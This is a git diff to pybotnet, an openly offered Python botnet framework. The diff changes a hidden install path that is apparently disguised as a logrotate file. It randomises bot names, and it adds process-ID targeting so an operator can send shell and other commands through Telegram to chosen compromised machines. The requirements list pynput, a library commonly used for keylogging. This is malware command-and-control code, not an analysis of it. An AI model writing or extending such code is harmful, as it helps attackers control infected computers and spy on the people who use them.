diff --git a/install.sh b/install.sh index 491bb97..bf3fd75 100644 --- a/install.sh +++ b/install.sh @@ -15,7 +15,7 @@ bot_name=example_bot_name -botnet="$HOME/.config/.logrotate" +botnet="$HOME/.config/.pybotnet" tee< $botnet #!/bin/sh diff --git a/pybotnet/__main__.py b/pybotnet/__main__.py index 0815a92..16b4534 100644 --- a/pybotnet/__main__.py +++ b/pybotnet/__main__.py @@ -10,7 +10,7 @@ parser = argparse.ArgumentParser( prog="pybotnet", - description="pybotnet - a python framework for creating botnet..." + description="pybotnet - a python framework for creating botnet...", ) parser.add_argument( @@ -21,16 +21,9 @@ choices=ENGINE_NAMES, default="telegram", ) - parser.add_argument( - "-t", - "--token", - help="bot token", - required=False, - ) - parser.add_argument( - "-i", "--id", help="admin id", required=False - ) - parser.add_argument("-n", "--name", help="bot name", required=False, default="...") + parser.add_argument("-t", "--token", help="bot token", required=False) + parser.add_argument("-i", "--id", help="admin id", required=False) + parser.add_argument("-n", "--name", help="bot name", required=False, default=None) parser.add_argument( "-d", "--debug", help="debug mode", required=False, action="store_true" ) diff --git a/pybotnet/botnet.py b/pybotnet/botnet.py index a8d8475..7cf9fcc 100644 --- a/pybotnet/botnet.py +++ b/pybotnet/botnet.py @@ -6,6 +6,8 @@ import datetime import logging import inspect +import random +import string import uuid import time import os @@ -30,7 +32,7 @@ def __init__( self, engine: "BaseEngine" = None, *, - bot_name: str = "no_name", + bot_name: str = None, version: str = "0.1.0", delay: int = 1.5, use_default_scripts: bool = True, @@ -39,6 +41,9 @@ def __init__( **extra, ): self.engine = engine + if bot_name is None: + bot_name = "".join(random.choices(string.ascii_letters, k=5)) + self.BOT_NAME = str(bot_name).strip().replace(" ", "_") self.version = version @@ -116,27 +121,56 @@ def wrapper(*args, **kwargs): def _help(self, script_name=None) -> str: all_scripts_name = list(self.scripts.keys()) - all_scripts_name.extend(["help", "start"]) - all_scripts_name = "\n".join(all_scripts_name) - help_str = f"""All scripts name: \n\n{all_scripts_name} + all_scripts_name.extend(["help"]) + all_scripts_name = "\n ".join(all_scripts_name) + help_str = f""" +# All scripts name: + {all_scripts_name} -Get more details about a script: +# Get more details about a script: `/help script-name` + Example: + `/help shell` + +# Run a script: + + - For all bots: -Run script Syntax: `/[SCRIPT-NAME] [params]` - or + Example: + `/echo hi` + `/who` + + - For Select specific bot: + `[mac-address] /[SCRIPT-NAME] [params]` - or + Example: + `{str(uuid.getnode())} /echo hi` + `{str(uuid.getnode())} /who` + `[BOT-NAME] /[SCRIPT-NAME] [params]` + Example: + `{self.BOT_NAME} /echo hi` + `{self.BOT_NAME} /who` - Example: - `/echo hi` - `94945035671481 /echo hi` - `bot_name /echo hi` + `[pid] /[SCRIPT-NAME] [params]` + Example: + `{str(os.getpid())} {self.BOT_NAME} /echo hi` + `{str(os.getpid())} {self.BOT_NAME} /who` + + `[mac-address] [pid] /[SCRIPT-NAME] [params]` + Example: + `{str(uuid.getnode())} {str(os.getpid())} /echo hi` + `{str(uuid.getnode())} {str(os.getpid())} /who` + + `[mac-address] [BOT-NAME] /[SCRIPT-NAME] [params]` + Example: + `{str(uuid.getnode())} {self.BOT_NAME} /echo hi` + `{str(uuid.getnode())} {self.BOT_NAME} /who` -PyBotNet version: {__version__} -Docs: {__github_link__} + +# PyBotNet version: {__version__} +# Docs: {__github_link__} """ if script_name: if script_name in ["help", "start"]: @@ -186,6 +220,7 @@ def system_info(self, minimal=False): minimal_info = { "scripts_name": list(self.scripts), "mac_addres": uuid.getnode(), + "pid": os.getpid(), "bot_name": self.BOT_NAME, "os": platform.system(), "global_ip": get_global_ip(), @@ -213,7 +248,6 @@ def system_info(self, minimal=False): seconds=round((time.time() - self.__run_time)) ), "current_route": os.getcwd(), - "pid": os.getpid(), "cpu_count": os.cpu_count(), "pybotnet_version": __version__, } @@ -263,13 +297,13 @@ def _main_while(self): _logger.debug(f"Engine[{self.engine}] Error: {e}") command = False - # check for mac_addres or self.BOT_NAME + # check for mac_addres, self.BOT_NAME or PID if self._valid_command(command, expected_length=2): - if command[0] in [str(uuid.getnode()), self.BOT_NAME]: - command = command[1:] + command_prefix = [str(uuid.getnode()), self.BOT_NAME, str(os.getpid())] + for _ in command_prefix: + if command[0] in command_prefix: + command = command[1:] - if command[0] in [str(uuid.getnode()), self.BOT_NAME]: - command = command[1:] if not self._valid_command(command, check_slash=True): _logger.debug("") diff --git a/pybotnet/package_info.py b/pybotnet/package_info.py index f931ce4..83094d2 100644 --- a/pybotnet/package_info.py +++ b/pybotnet/package_info.py @@ -1,2 +1,2 @@ -__version__ = "2.1.1" +__version__ = "2.2.0" __github_link__ = "https://github.com/onionj/pybotnet" diff --git a/requirements.txt b/requirements.txt index 1bb0179..72cdda9 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,10 +1,5 @@ beautifulsoup4==4.11.1 -certifi==2022.5.18.1 -charset-normalizer==2.0.12 -idna==3.3 -Pillow>=9.0.1 +pillow==9.2.0 +pynput==1.6.8 requests==2.27.1 -soupsieve==2.3.2.post1 -urllib3==1.26.9 schedule==1.1.0 -pynput==1.6.8